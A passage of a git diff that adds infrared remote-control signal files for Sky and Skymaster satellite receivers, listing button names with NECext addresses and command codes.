+command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 08 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 09 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0C 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 13 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 16 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 17 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 18 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 19 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1A 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1B 00 00 00 +# +name: A-MODE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1D 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1E 00 00 00 +# +name: V-MODE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1F 00 00 00 +# +name: SEEK_BACK +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 40 00 00 00 +# +name: SEEK_FORW +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 41 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 42 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 43 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 44 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 45 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 48 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 49 00 00 00 +# +name: VIRTUAL +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4C 00 00 00 +# +name: KEY_MINUS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4D 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 50 00 00 00 +# +name: L/R/ST +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 51 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 52 00 00 00 +# +name: S.EFFECT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir b/assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir new file mode 100644 index 000000000..fc4a642c0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 24 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 28 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 3C 00 00 00 +# +name: FREV +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 3D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 3E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 3F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 40 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 5B 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 5C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 6D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 6F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 70 00 00 00 +# +name: BOX_OFFICE +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 7D 00 00 00 +# +name: SERVICES +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 7E 00 00 00 +# +name: SKY +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 80 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 81 00 00 00 +# +name: BACK_UP +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 83 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 84 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: CB 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: CC 00 00 00 +# +name: INTERACTIVE +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir new file mode 100644 index 000000000..659ad2272 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: pwr +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: sky +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir new file mode 100644 index 000000000..2764c26f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: tvvcr +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: ab +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 23 00 00 00 +# +name: vtzoom +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 29 00 00 00 +# +name: screen +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: vthalf +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 34 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 37 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3F 00 00 00 +# +name: vton +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir new file mode 100644 index 000000000..64770efae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 00 00 00 00 +# +name: f2 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 01 00 00 00 +# +name: f1 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 06 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 0A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 11 00 00 00 +# +name: f4 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 12 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 13 00 00 00 +# +name: f3 +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 1A 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 1B 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 1C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 1D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 1E 00 00 00 +# +name: p/c_2- +type: parsed +protocol: NECext +address: 25 FA 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir new file mode 100644 index 000000000..0d88b37a8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_I +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 14 00 00 00 +# +name: ALT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: BROWSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: TV/RAD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: EXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir new file mode 100644 index 000000000..45c2af561 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 02 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 05 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0B 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 18 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1C 00 00 00 +# +name: chan_search +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir new file mode 100644 index 000000000..e47fda597 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: sleep +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0B 00 00 00 +# +name: channel_up +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 10 00 00 00 +# +name: channel_next +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 10 00 00 00 +# +name: channel_down +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 11 00 00 00 +# +name: channel_prev +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 11 00 00 00 +# +name: vol_down +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 12 00 00 00 +# +name: vol_up +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 13 00 00 00 +# +name: video +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 14 00 00 00 +# +name: audio +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 15 00 00 00 +# +name: fav_main +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 16 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 17 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 18 00 00 00 +# +name: store +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 19 00 00 00 +# +name: ext +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1A 00 00 00 +# +name: sys +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir new file mode 100644 index 000000000..c69459c14 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: 